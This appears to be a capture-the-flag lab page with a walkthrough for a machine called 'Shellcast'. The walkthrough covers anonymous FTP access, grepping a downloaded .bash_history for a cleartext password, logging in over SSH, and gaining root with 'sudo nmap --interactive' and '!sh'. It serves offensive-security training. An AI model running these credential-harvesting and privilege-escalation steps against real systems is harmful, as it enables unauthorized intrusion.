🐀 0 pts earned

Shellcast

Anonymous FTP grants access to a home directory backup where the sysadmin's bash history was accidentally included — and a password was typed in the clear. SSH right in and let sudo nmap hand you root interactively.

🕐 Launching Soon

Launching in calculating...

Target IP Log in to reveal

User Flag Pending

Root Flag Pending

Premium

Walkthrough, Tips and Tricks

Walkthrough

Objective

Recover a cleartext credential from a bash history file via FTP and escalate via sudo nmap.

Phase 1: FTP Enumeration

Connect: ftp TARGET, user anonymous, password blank.
List and download all files: mget *
Grep for passwords: grep -iE 'ssh|pass|su ' .bash_history

Phase 2: Foothold

SSH with the recovered credential.
Capture user flag.

Phase 3: sudo nmap

sudo -l — (ALL) NOPASSWD: /usr/bin/nmap
Launch interactive mode:
```
sudo nmap --interactive
nmap> !sh
```
Capture root flag.

Tips and Tricks

Tips

mget * downloads everything — use prompt off first to skip confirmations.
Bash history patterns to grep: su , ssh , mysql -p, sshpass.
nmap interactive mode works on versions < 5.21; check with nmap --version.